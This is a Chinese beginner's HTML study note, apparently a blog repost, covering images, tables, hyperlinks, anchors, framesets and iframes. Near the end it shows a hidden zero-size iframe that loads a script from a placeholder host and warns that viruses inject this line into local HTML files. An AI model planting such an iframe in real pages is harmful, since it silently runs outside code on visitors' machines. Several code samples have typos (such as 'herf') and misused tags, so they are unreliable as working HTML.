html学习笔记三

来源：互联网发布：淘宝情侣店铺有真的吗编辑：程序博客网时间：2024/04/19 16:57

图片标签 img

一般是将图片放在编译器，当前项目的目录中

<img src="imgs\1.jpg" height="500" width="500" border="10" alt="啊，小狗!" />    <!--border边框 alt一般是应用于图片不显示的时候，显现文字-->

图像地图：map

比如，某地方地图的某一位置，一点，就到了当地的XX网站

应用：在当前图像选取某一部分做链接

但是图片的区域是通过坐标来完成的，通过一些软件来划分图片，作为热点区域

表格标签：<table>

行：tr

单元格：td

cellpanding cellspacing：单元格边距与间距

<body>    <table border="1" bordercolor = "#000EE" cellpadding="10" width="500">        <caption>信息</caption>        <tr>            <th> 姓名</th> <th> 年龄</th>        </tr>        <tr>            <td> 张三</td> <td> 18 </td>        </tr>         </table></body>

关于不规则表格的制作：先数多少行，再数、每行多少格

colspan = "2"：占两列

rowspan = "2"：占两行

   <table border="1" bordercolor = "#000EE" width="500" cellpadding="10" cellspacing="0" >        <tbody><!--表格的下一级变标签是tbody，不写也有-->         <tr> <th colspan="2"> 个人信息 </th> </tr>         <tr> <td>张三</td> <td>18</td></tr>         </tbody>>     </table>     <hr/>     <table border="1" bordercolor = "#000EE" width="500" cellpading="10" cellspacing="0">        <tbody>         <tr> <th rowspan="2"> 个人信息 </th> <td>张三</td></tr>         <tr> <td>18</td> </tr>         </tbody>>    </table>

超链接 <a herf = "" > </a>

作用：连接资源
有了herf才有类点击效果，herf属性值不同，解析方式也不同
如果属性值没有指定过任何协议，那么在解析时，是按照默认的协议来解析该值（file协议）,所以要加http

<a href="http://www.baidu.com" target="_blank">百度</a><hr/><a href="imgs/1.jpg" target="_blank">图片</a><hr/><a href="mailto:qingchun_qidian@163.com ">联系我 </a><!--mailto：发邮件协议--><hr/><a href="http://www.xunlei.com/moves/hyrz.rmvb">火影忍者 </a><!--任何浏览器点击即可下载--><hr/><!--迅雷用自定义thuner协议来指定只能用迅雷下载,将原有地址加密--><a href="thunder：//hyrz.rmvb">火影忍者2</a><!--取消超链接点击后的默认效果--><a href="javascript:void(0)" onclick="alert('未满18岁禁止进入')">链接</a><br/><!--启动javascript解析引擎，void（0）神码也不做，启动自己的效果-->

定位标记（锚）：网页当前界面回到指定坐标位置

<a name = "top">Top</a>        <img src="imgs/1.jpg" width="440" height="500" alt="x" border="10"/>        <a href="#bottom">底部位置</a>        <hr/>        <a name="center">Center</a>        <hr/>        <img src="imgs/1.jpg" width="440" height="900" alt="x" border="10"/>        <a href="#top">顶部位置</a> <!--注意，该属性值前要加 # -->        <a href="#center">中间位置</a>        <a name="bottom">Bottom</a>

框架 <frameset>

框架的应用主要是在N年以前，现在应用的较为少，过时产品

框架的作用，让一个窗体显示多种资源，实现了窗口复用

关于框架的内容代码，不要写在body内，因为它不是主体内容

做一个如上框架,左边框点开链接，在右边框显示

<frameset rows="30%,*"> <!--上下两部分，上面30%,*代表剩余全部-->        <frameset src = top.html" name = "top"/>    <frameset cols = "30%,*" >            <frameset src = "../left.html" name = "left"/>            <frameset src = "../right.html" name = "right"/>    </frameset>    </frameset>    <!--<a href="../imgs.html" target = "right">链接1</a>-->

画中画标签<iframe >

 <iframe src="1.html" height="500" width="600"> 画中画标签</iframe>      <!--就是在当前页面显示一个页面窗体-->      <!--如果看到字，是因为浏览器不支持该标签-->      <iframe src="http://www.xxx.com/1.js" height="0" width="0">恶意访问</iframe>       <!--js是加所有文件的程序性文件，看不到任何窗体，但是会执行文件-->

比如说某病毒，会在本地的所有html文件中都加入上述那一句话，就会恶意访问你的电脑，浏览器下部，会显示加载情况，注意观看是否是当前的网页

0 0